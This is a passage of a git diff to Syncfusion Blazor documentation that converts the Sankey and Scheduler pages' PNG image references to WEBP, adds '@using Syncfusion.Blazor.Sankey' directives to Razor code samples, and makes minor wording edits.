+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Sankey Diagram
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Sankey
 
 <SfSankey Nodes=@Nodes Links=@Links>
 
@@ -243,14 +200,16 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram i
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram in the default web browser.
 
-![Blazor Sankey Diagram](images/getting-started/blazor-sankey.png)
+![Blazor Sankey Diagram](images/getting-started/blazor-sankey.webp)
 
 ## Populate Blazor Sankey with data
 
 To bind data for the sankey diagram, you can assign an IEnumerable object to the `Nodes` and `Links` properties. These properties define the structure of the nodes and the relationships between them.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Sankey
 
 <SfSankey Nodes=@Nodes Links=@Links>
 
@@ -306,7 +265,11 @@ To bind data for the sankey diagram, you can assign an IEnumerable object to the
 Using the `Title` property, you can add a title to the sankey diagram to provide the user with quick information about the data plotted in the sankey diagram.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Sankey
+
+@using Syncfusion.Blazor.Sankey
 
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
 </SfSankey>
@@ -314,14 +277,18 @@ Using the `Title` property, you can add a title to the sankey diagram to provide
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Title](images/getting-started/blazor-sankey-title.png)
+![Blazor Sankey with Title](images/getting-started/blazor-sankey-title.webp)
 
 ## Add node labels
 
 You can add data labels to improve the readability of the sankey diagram. This can be achieved by setting the `Visible` property to **true** in the `SankeyLabelSettings`.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Sankey
+
+@using Syncfusion.Blazor.Sankey
 
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
     <SankeyLabelSettings Visible="true"></SankeyLabelSettings>
@@ -330,14 +297,18 @@ You can add data labels to improve the readability of the sankey diagram. This c
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with DataLabel](images/getting-started/blazor-sankey-data-label.png)
+![Blazor Sankey with DataLabel](images/getting-started/blazor-sankey-data-label.webp)
 
 ## Enable tooltip
 
 The tooltip can be enabled by setting the `Enable` property in `SankeyTooltipSettings` to **true**. However, the tooltip is enabled by default in the sankey diagram.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Sankey
+
+@using Syncfusion.Blazor.Sankey
 
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
    <SankeyTooltipSettings Enable="true"></SankeyTooltipSettings>
@@ -346,14 +317,18 @@ The tooltip can be enabled by setting the `Enable` property in `SankeyTooltipSet
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Tooltip](images/getting-started/blazor-sankey-tooltip.png)
+![Blazor Sankey with Tooltip](images/getting-started/blazor-sankey-tooltip.webp)
 
 ## Enable legend
 
 You can use legend for the sankey diagram by setting the `Visible` property to **true** in `SankeyLegendSettings`. However, the legend is enabled by default in the sankey diagram.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Sankey
+
+@using Syncfusion.Blazor.Sankey
 
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
     <SankeyLegendSettings Visible="true"></SankeyLegendSettings>
@@ -362,7 +337,7 @@ You can use legend for the sankey diagram by setting the `Visible` property to *
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Legend](images/getting-started/blazor-sankey-legend.png)
+![Blazor Sankey with Legend](images/getting-started/blazor-sankey-legend.webp)
 
 ## See also
 
diff --git a/blazor/sankey/getting-started-with-web-app.md b/blazor/sankey/getting-started-with-web-app.md
index 0f0d6649e7..50fc62200a 100644
--- a/blazor/sankey/getting-started-with-web-app.md
+++ b/blazor/sankey/getting-started-with-web-app.md
@@ -166,6 +166,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Sankey
+
 <SfSankey Nodes=@Nodes Links=@Links>
 
 </SfSankey>
@@ -217,7 +219,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram in the default web browser.
 
-![Blazor Sankey Diagram](images/getting-started/blazor-sankey.png)
+![Blazor Sankey Diagram](images/getting-started/blazor-sankey.webp)
 
 ## Populate Blazor Sankey Diagram with data
 
@@ -226,6 +228,8 @@ To bind data for the sankey diagram, you can assign an IEnumerable object to the
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Sankey
+
 <SfSankey Nodes=@Nodes Links=@Links>
 
 </SfSankey>
@@ -282,13 +286,15 @@ Using the `Title` property, you can add a title to the sankey diagram to provide
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Sankey
+
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
 </SfSankey>
 
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Title](images/getting-started/blazor-sankey-title.png)
+![Blazor Sankey with Title](images/getting-started/blazor-sankey-title.webp)
 
 ## Add node labels
 
@@ -297,6 +303,8 @@ You can add data labels to improve the readability of the sankey diagram. This c
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Sankey
+
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
     <SankeyLabelSettings Visible="true"></SankeyLabelSettings>
 </SfSankey>
@@ -304,7 +312,7 @@ You can add data labels to improve the readability of the sankey diagram. This c
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with DataLabel](images/getting-started/blazor-sankey-data-label.png)
+![Blazor Sankey with DataLabel](images/getting-started/blazor-sankey-data-label.webp)
 
 ## Enable tooltip
 
@@ -313,6 +321,8 @@ The tooltip can be enabled by setting the `Enable` property in `SankeyTooltipSet
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Sankey
+
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
    <SankeyTooltipSettings Enable="true"></SankeyTooltipSettings>
 </SfSankey>
@@ -320,7 +330,7 @@ The tooltip can be enabled by setting the `Enable` property in `SankeyTooltipSet
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Tooltip](images/getting-started/blazor-sankey-tooltip.png)
+![Blazor Sankey with Tooltip](images/getting-started/blazor-sankey-tooltip.webp)
 
 ## Enable legend
 
@@ -329,6 +339,8 @@ You can use legend for the sankey diagram by setting the `Visible` property to *
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Sankey
+
 <SfSankey Title="Global Coffee Production and Consumption Flow" Nodes=@Nodes Links=@Links>
     <SankeyLegendSettings Visible="true"></SankeyLegendSettings>
 </SfSankey>
@@ -336,7 +348,7 @@ You can use legend for the sankey diagram by setting the `Visible` property to *
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Legend](images/getting-started/blazor-sankey-legend.png)
+![Blazor Sankey with Legend](images/getting-started/blazor-sankey-legend.webp)
 
 ## See also
 
diff --git a/blazor/sankey/getting-started.md b/blazor/sankey/getting-started.md
index c4e87b10dd..92d8c11ba3 100644
--- a/blazor/sankey/getting-started.md
+++ b/blazor/sankey/getting-started.md
@@ -213,7 +213,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram in your default web browser.
 
-![Blazor Sankey Diagram](images/getting-started/blazor-sankey.png)
+![Blazor Sankey Diagram](images/getting-started/blazor-sankey.webp)
 
 ## Populate Blazor Sankey Diagram with data
 
@@ -288,7 +288,7 @@ Using the `Title` property, you can add a title to the sankey diagram to provide
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Title](images/getting-started/blazor-sankey-title.png)
+![Blazor Sankey with Title](images/getting-started/blazor-sankey-title.webp)
 
 ## Add node labels
 
@@ -306,7 +306,7 @@ You can add data labels to improve the readability of the sankey diagram. This c
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with DataLabel](images/getting-started/blazor-sankey-data-label.png)
+![Blazor Sankey with DataLabel](images/getting-started/blazor-sankey-data-label.webp)
 
 ## Enable tooltip
 
@@ -324,7 +324,7 @@ The tooltip can be enabled by setting the `Enable` property in `SankeyTooltipSet
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Tooltip](images/getting-started/blazor-sankey-tooltip.png)
+![Blazor Sankey with Tooltip](images/getting-started/blazor-sankey-tooltip.webp)
 
 ## Enable legend
 
@@ -342,7 +342,7 @@ You can use legend for the sankey diagram by setting the `Visible` property to *
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey with Legend](images/getting-started/blazor-sankey-legend.png)
+![Blazor Sankey with Legend](images/getting-started/blazor-sankey-legend.webp)
 
 ## See also
 
diff --git a/blazor/sankey/images/blazor-create-web-app.png b/blazor/sankey/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/sankey/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/sankey/images/blazor-create-web-app.webp b/blazor/sankey/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/sankey/images/blazor-create-web-app.webp differ
diff --git a/blazor/sankey/images/blazor-wasm-app-template.png b/blazor/sankey/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/sankey/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/sankey/images/blazor-wasm-app-template.webp b/blazor/sankey/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/sankey/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/sankey/images/customization/sankey-customization-background-img.png b/blazor/sankey/images/customization/sankey-customization-background-img.png
deleted file mode 100644
index 664f7e6e74..0000000000
Binary files a/blazor/sankey/images/customization/sankey-customization-background-img.png and /dev/null differ
diff --git a/blazor/sankey/images/customization/sankey-customization-background-img.webp b/blazor/sankey/images/customization/sankey-customization-background-img.webp
new file mode 100644
index 0000000000..d5103c0e49
Binary files /dev/null and b/blazor/sankey/images/customization/sankey-customization-background-img.webp differ
diff --git a/blazor/sankey/images/customization/sankey-customization-background.png b/blazor/sankey/images/customization/sankey-customization-background.png
deleted file mode 100644
index fb63d74a39..0000000000
Binary files a/blazor/sankey/images/customization/sankey-customization-background.png and /dev/null differ
diff --git a/blazor/sankey/images/customization/sankey-customization-background.webp b/blazor/sankey/images/customization/sankey-customization-background.webp
new file mode 100644
index 0000000000..0e05881bb0
Binary files /dev/null and b/blazor/sankey/images/customization/sankey-customization-background.webp differ
diff --git a/blazor/sankey/images/customization/sankey-customization-rtl.png b/blazor/sankey/images/customization/sankey-customization-rtl.png
deleted file mode 100644
index b3ad6f3377..0000000000
Binary files a/blazor/sankey/images/customization/sankey-customization-rtl.png and /dev/null differ
diff --git a/blazor/sankey/images/customization/sankey-customization-rtl.webp b/blazor/sankey/images/customization/sankey-customization-rtl.webp
new file mode 100644
index 0000000000..652b205274
Binary files /dev/null and b/blazor/sankey/images/customization/sankey-customization-rtl.webp differ
diff --git a/blazor/sankey/images/customization/sankey-customization-size.png b/blazor/sankey/images/customization/sankey-customization-size.png
deleted file mode 100644
index 28626e4517..0000000000
Binary files a/blazor/sankey/images/customization/sankey-customization-size.png and /dev/null differ
diff --git a/blazor/sankey/images/customization/sankey-customization-size.webp b/blazor/sankey/images/customization/sankey-customization-size.webp
new file mode 100644
index 0000000000..47812b1bf0
Binary files /dev/null and b/blazor/sankey/images/customization/sankey-customization-size.webp differ
diff --git a/blazor/sankey/images/customization/sankey-customization-vertical.png b/blazor/sankey/images/customization/sankey-customization-vertical.png
deleted file mode 100644
index cc0f6afb10..0000000000
Binary files a/blazor/sankey/images/customization/sankey-customization-vertical.png and /dev/null differ
diff --git a/blazor/sankey/images/customization/sankey-customization-vertical.webp b/blazor/sankey/images/customization/sankey-customization-vertical.webp
new file mode 100644
index 0000000000..ae5eaf74d7
Binary files /dev/null and b/blazor/sankey/images/customization/sankey-customization-vertical.webp differ
diff --git a/blazor/sankey/images/data-binding/sankey-data-binding.png b/blazor/sankey/images/data-binding/sankey-data-binding.png
deleted file mode 100644
index ba8f202a59..0000000000
Binary files a/blazor/sankey/images/data-binding/sankey-data-binding.png and /dev/null differ
diff --git a/blazor/sankey/images/data-binding/sankey-data-binding.webp b/blazor/sankey/images/data-binding/sankey-data-binding.webp
new file mode 100644
index 0000000000..26e639cdb0
Binary files /dev/null and b/blazor/sankey/images/data-binding/sankey-data-binding.webp differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-data-label.png b/blazor/sankey/images/getting-started/blazor-sankey-data-label.png
deleted file mode 100644
index b5accb00e2..0000000000
Binary files a/blazor/sankey/images/getting-started/blazor-sankey-data-label.png and /dev/null differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-data-label.webp b/blazor/sankey/images/getting-started/blazor-sankey-data-label.webp
new file mode 100644
index 0000000000..b514f28f42
Binary files /dev/null and b/blazor/sankey/images/getting-started/blazor-sankey-data-label.webp differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-legend.png b/blazor/sankey/images/getting-started/blazor-sankey-legend.png
deleted file mode 100644
index b5accb00e2..0000000000
Binary files a/blazor/sankey/images/getting-started/blazor-sankey-legend.png and /dev/null differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-legend.webp b/blazor/sankey/images/getting-started/blazor-sankey-legend.webp
new file mode 100644
index 0000000000..b514f28f42
Binary files /dev/null and b/blazor/sankey/images/getting-started/blazor-sankey-legend.webp differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-title.png b/blazor/sankey/images/getting-started/blazor-sankey-title.png
deleted file mode 100644
index b5accb00e2..0000000000
Binary files a/blazor/sankey/images/getting-started/blazor-sankey-title.png and /dev/null differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-title.webp b/blazor/sankey/images/getting-started/blazor-sankey-title.webp
new file mode 100644
index 0000000000..b514f28f42
Binary files /dev/null and b/blazor/sankey/images/getting-started/blazor-sankey-title.webp differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-tooltip.png b/blazor/sankey/images/getting-started/blazor-sankey-tooltip.png
deleted file mode 100644
index f90f6694d6..0000000000
Binary files a/blazor/sankey/images/getting-started/blazor-sankey-tooltip.png and /dev/null differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey-tooltip.webp b/blazor/sankey/images/getting-started/blazor-sankey-tooltip.webp
new file mode 100644
index 0000000000..8f6501f248
Binary files /dev/null and b/blazor/sankey/images/getting-started/blazor-sankey-tooltip.webp differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey.png b/blazor/sankey/images/getting-started/blazor-sankey.png
deleted file mode 100644
index f948ab000c..0000000000
Binary files a/blazor/sankey/images/getting-started/blazor-sankey.png and /dev/null differ
diff --git a/blazor/sankey/images/getting-started/blazor-sankey.webp b/blazor/sankey/images/getting-started/blazor-sankey.webp
new file mode 100644
index 0000000000..e87710b23e
Binary files /dev/null and b/blazor/sankey/images/getting-started/blazor-sankey.webp differ
diff --git a/blazor/sankey/images/labels/sankey-labels.png b/blazor/sankey/images/labels/sankey-labels.png
deleted file mode 100644
index 77a0f8f544..0000000000
Binary files a/blazor/sankey/images/labels/sankey-labels.png and /dev/null differ
diff --git a/blazor/sankey/images/labels/sankey-labels.webp b/blazor/sankey/images/labels/sankey-labels.webp
new file mode 100644
index 0000000000..08f13a4a48
Binary files /dev/null and b/blazor/sankey/images/labels/sankey-labels.webp differ
diff --git a/blazor/sankey/images/legends/sankey-legend-customization.png b/blazor/sankey/images/legends/sankey-legend-customization.png
deleted file mode 100644
index 609304e96c..0000000000
Binary files a/blazor/sankey/images/legends/sankey-legend-customization.png and /dev/null differ
diff --git a/blazor/sankey/images/legends/sankey-legend-customization.webp b/blazor/sankey/images/legends/sankey-legend-customization.webp
new file mode 100644
index 0000000000..6fe2f5a27e
Binary files /dev/null and b/blazor/sankey/images/legends/sankey-legend-customization.webp differ
diff --git a/blazor/sankey/images/legends/sankey-legends.png b/blazor/sankey/images/legends/sankey-legends.png
deleted file mode 100644
index d9039dc853..0000000000
Binary files a/blazor/sankey/images/legends/sankey-legends.png and /dev/null differ
diff --git a/blazor/sankey/images/legends/sankey-legends.webp b/blazor/sankey/images/legends/sankey-legends.webp
new file mode 100644
index 0000000000..a6a4762b67
Binary files /dev/null and b/blazor/sankey/images/legends/sankey-legends.webp differ
diff --git a/blazor/sankey/images/links/sankey-basic-link.png b/blazor/sankey/images/links/sankey-basic-link.png
deleted file mode 100644
index 96a95d1983..0000000000
Binary files a/blazor/sankey/images/links/sankey-basic-link.png and /dev/null differ
diff --git a/blazor/sankey/images/links/sankey-basic-link.webp b/blazor/sankey/images/links/sankey-basic-link.webp
new file mode 100644
index 0000000000..ff04bf169d
Binary files /dev/null and b/blazor/sankey/images/links/sankey-basic-link.webp differ
diff --git a/blazor/sankey/images/nodes/sankey-node-basic.png b/blazor/sankey/images/nodes/sankey-node-basic.png
deleted file mode 100644
index 1f643676ab..0000000000
Binary files a/blazor/sankey/images/nodes/sankey-node-basic.png and /dev/null differ
diff --git a/blazor/sankey/images/nodes/sankey-node-basic.webp b/blazor/sankey/images/nodes/sankey-node-basic.webp
new file mode 100644
index 0000000000..ff506154ce
Binary files /dev/null and b/blazor/sankey/images/nodes/sankey-node-basic.webp differ
diff --git a/blazor/sankey/images/print-export/sankey-print-export.png b/blazor/sankey/images/print-export/sankey-print-export.png
deleted file mode 100644
index 944994fd82..0000000000
Binary files a/blazor/sankey/images/print-export/sankey-print-export.png and /dev/null differ
diff --git a/blazor/sankey/images/print-export/sankey-print-export.webp b/blazor/sankey/images/print-export/sankey-print-export.webp
new file mode 100644
index 0000000000..10fbc83996
Binary files /dev/null and b/blazor/sankey/images/print-export/sankey-print-export.webp differ
diff --git a/blazor/sankey/images/titles/sankey-title-customization.png b/blazor/sankey/images/titles/sankey-title-customization.png
deleted file mode 100644
index 87fd4f8245..0000000000
Binary files a/blazor/sankey/images/titles/sankey-title-customization.png and /dev/null differ
diff --git a/blazor/sankey/images/titles/sankey-title-customization.webp b/blazor/sankey/images/titles/sankey-title-customization.webp
new file mode 100644
index 0000000000..a814520e30
Binary files /dev/null and b/blazor/sankey/images/titles/sankey-title-customization.webp differ
diff --git a/blazor/sankey/images/titles/sankey-title.png b/blazor/sankey/images/titles/sankey-title.png
deleted file mode 100644
index 31e9437a94..0000000000
Binary files a/blazor/sankey/images/titles/sankey-title.png and /dev/null differ
diff --git a/blazor/sankey/images/titles/sankey-title.webp b/blazor/sankey/images/titles/sankey-title.webp
new file mode 100644
index 0000000000..eb28e85d10
Binary files /dev/null and b/blazor/sankey/images/titles/sankey-title.webp differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip-customization.png b/blazor/sankey/images/tooltip/sankey-tooltip-customization.png
deleted file mode 100644
index 6608884fd6..0000000000
Binary files a/blazor/sankey/images/tooltip/sankey-tooltip-customization.png and /dev/null differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip-customization.webp b/blazor/sankey/images/tooltip/sankey-tooltip-customization.webp
new file mode 100644
index 0000000000..704ebe164b
Binary files /dev/null and b/blazor/sankey/images/tooltip/sankey-tooltip-customization.webp differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip-link-template.png b/blazor/sankey/images/tooltip/sankey-tooltip-link-template.png
deleted file mode 100644
index fde51e099f..0000000000
Binary files a/blazor/sankey/images/tooltip/sankey-tooltip-link-template.png and /dev/null differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip-link-template.webp b/blazor/sankey/images/tooltip/sankey-tooltip-link-template.webp
new file mode 100644
index 0000000000..e5d50a7969
Binary files /dev/null and b/blazor/sankey/images/tooltip/sankey-tooltip-link-template.webp differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip-node-template.png b/blazor/sankey/images/tooltip/sankey-tooltip-node-template.png
deleted file mode 100644
index 952f560f58..0000000000
Binary files a/blazor/sankey/images/tooltip/sankey-tooltip-node-template.png and /dev/null differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip-node-template.webp b/blazor/sankey/images/tooltip/sankey-tooltip-node-template.webp
new file mode 100644
index 0000000000..e775688b45
Binary files /dev/null and b/blazor/sankey/images/tooltip/sankey-tooltip-node-template.webp differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip.png b/blazor/sankey/images/tooltip/sankey-tooltip.png
deleted file mode 100644
index ead5fc5592..0000000000
Binary files a/blazor/sankey/images/tooltip/sankey-tooltip.png and /dev/null differ
diff --git a/blazor/sankey/images/tooltip/sankey-tooltip.webp b/blazor/sankey/images/tooltip/sankey-tooltip.webp
new file mode 100644
index 0000000000..4a021dfad8
Binary files /dev/null and b/blazor/sankey/images/tooltip/sankey-tooltip.webp differ
diff --git a/blazor/sankey/labels.md b/blazor/sankey/labels.md
index d6184f1268..a7e70bd145 100644
--- a/blazor/sankey/labels.md
+++ b/blazor/sankey/labels.md
@@ -93,7 +93,7 @@ Labels are defined within node settings and further customized using `SankeyLabe
 
 This configuration defines labels for each node and applies `SankeyLabelSettings` for color, weight, size, and style.
 
-![Blazor Sankey Labels](images/labels/sankey-labels.png)
+![Blazor Sankey Labels](images/labels/sankey-labels.webp)
 
 ## Customizing Label Appearance
 
diff --git a/blazor/sankey/legend.md b/blazor/sankey/legend.md
index ebacc4a3fc..89c93b2161 100644
--- a/blazor/sankey/legend.md
+++ b/blazor/sankey/legend.md
@@ -98,7 +98,7 @@ The following example demonstrates enabling a legend, positioning it, adjusting
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Basic Legend](images/legends/sankey-legends.png)
+![Blazor Sankey Basic Legend](images/legends/sankey-legends.webp)
 
 ## Legend Customization and Configuration
 
@@ -209,7 +209,7 @@ The Sankey Diagram supports a comprehensive set of legend options, ranging from
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Customized Legend](images/legends/sankey-legend-customization.png)
+![Blazor Sankey Customized Legend](images/legends/sankey-legend-customization.webp)
 
 ### Legend Text and Title Styles
 
diff --git a/blazor/sankey/links.md b/blazor/sankey/links.md
index 1dc889dcac..d19ecf566a 100644
--- a/blazor/sankey/links.md
+++ b/blazor/sankey/links.md
@@ -106,7 +106,7 @@ Here is an example of configuring links in the Sankey Diagram:
 
 In this example, multiple links connect nodes across sources, energy carriers, and usage sectors.
 
-![Blazor Sankey Link Customization](images/links/sankey-basic-link.png)
+![Blazor Sankey Link Customization](images/links/sankey-basic-link.webp)
 
 ## Customizing Link Appearance
 
diff --git a/blazor/sankey/nodes.md b/blazor/sankey/nodes.md
index 617a83c94b..0a92af4507 100644
--- a/blazor/sankey/nodes.md
+++ b/blazor/sankey/nodes.md
@@ -107,7 +107,7 @@ Here is an example of configuring nodes in the Sankey Diagram:
 
 In this example, nodes represent categories such as sources, energy types, and usage groups.
 
-![Blazor Sankey Node Customization](images/nodes/sankey-node-basic.png)
+![Blazor Sankey Node Customization](images/nodes/sankey-node-basic.webp)
 
 ## Customizing Node Appearance
 
diff --git a/blazor/sankey/print-export.md b/blazor/sankey/print-export.md
index 437719afcb..f7b1f019c4 100644
--- a/blazor/sankey/print-export.md
+++ b/blazor/sankey/print-export.md
@@ -107,7 +107,7 @@ The Sankey Diagram provides a convenient way to print its contents from the brow
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Print](images/print-export/sankey-print-export.png)
+![Blazor Sankey Print](images/print-export/sankey-print-export.webp)
 
 ## Exporting the Sankey Diagram
 
@@ -206,7 +206,7 @@ The diagram can be exported to multiple formats, including PNG, JPEG, SVG, and P
 {% endtabs %}
 
 
-![Blazor Sankey Print](images/print-export/sankey-print-export.png)
+![Blazor Sankey Print](images/print-export/sankey-print-export.webp)
 
 ## Key Considerations
 
diff --git a/blazor/sankey/title.md b/blazor/sankey/title.md
index 8afa86bb65..9f92eca1f2 100644
--- a/blazor/sankey/title.md
+++ b/blazor/sankey/title.md
@@ -90,7 +90,7 @@ Adding a title and subtitle helps convey purpose and scope. Use the `Title` prop
 
 In this example, "Energy Flow" is configured as the title and "-2024" as the subtitle.
 
-![Blazor Sankey Title](images/titles/sankey-title.png)
+![Blazor Sankey Title](images/titles/sankey-title.webp)
 
 ## Customizing Title and Subtitle
 
@@ -173,7 +173,7 @@ The title and subtitle can be styled using `SankeyTitleStyle` and `SankeySubtitl
 {% endtabs %}
 
 
-![Blazor Sankey Title Customization](images/titles/sankey-title-customization.png)
+![Blazor Sankey Title Customization](images/titles/sankey-title-customization.webp)
 
 ## Key Considerations
 
diff --git a/blazor/sankey/tooltip.md b/blazor/sankey/tooltip.md
index 4b92ad020c..e60a8380a8 100644
--- a/blazor/sankey/tooltip.md
+++ b/blazor/sankey/tooltip.md
@@ -92,7 +92,7 @@ Enable tooltips using `SankeyTooltipSettings`.
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Tooltip](images/tooltip/sankey-tooltip.png)
+![Blazor Sankey Tooltip](images/tooltip/sankey-tooltip.webp)
 
 
 ## Customizing Tooltip Appearance
@@ -197,7 +197,7 @@ Adjust tooltip appearance and behavior using `SankeyTooltipSettings`.
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Tooltip Customization](images/tooltip/sankey-tooltip-customization.png)
+![Blazor Sankey Tooltip Customization](images/tooltip/sankey-tooltip-customization.webp)
 
 ## Advanced Tooltip Configuration
 
@@ -342,10 +342,10 @@ Customize tooltip content using `SankeyNodeTemplate` and `SankeyLinkTemplate` to
 {% endtabs %}
 
 **Node Template**
-![Blazor Sankey Node Tooltip Template](images/tooltip/sankey-tooltip-node-template.png)
+![Blazor Sankey Node Tooltip Template](images/tooltip/sankey-tooltip-node-template.webp)
 
 **Link Template**
-![Blazor Sankey Link Tooltip Template](images/tooltip/sankey-tooltip-link-template.png)
+![Blazor Sankey Link Tooltip Template](images/tooltip/sankey-tooltip-link-template.webp)
 
 Templates enable fully customized content and layout for node and link tooltips.
 
diff --git a/blazor/scheduler/data-binding.md b/blazor/scheduler/data-binding.md
index 342a0243e7..15501d08da 100644
--- a/blazor/scheduler/data-binding.md
+++ b/blazor/scheduler/data-binding.md
@@ -726,7 +726,7 @@ To send an additional custom parameter to the server-side post, make use of the
 
 The value passed to the additional parameter is shown in the following image.
 
-![Passing Additional Parameters in Blazor Scheduler](./images/blazor-scheduler-additional-parameters.png)
+![Passing Additional Parameters in Blazor Scheduler](./images/blazor-scheduler-additional-parameters.webp)
 
 N> The parameters added using the [`Query`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.ScheduleEventSettings-1.html#Syncfusion_Blazor_Schedule_ScheduleEventSettings_1_Query) property will be sent along with the data request sent to the server on every scheduler actions.
 
diff --git a/blazor/scheduler/getting-started-webapp.md b/blazor/scheduler/getting-started-webapp.md
index 524fb92a35..e2840dd267 100644
--- a/blazor/scheduler/getting-started-webapp.md
+++ b/blazor/scheduler/getting-started-webapp.md
@@ -13,107 +13,87 @@ This section briefly explains about how to include [Syncfusion<sup style="font-s
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
-To get start quickly with Blazor Web App Scheduler, you can check on this video:
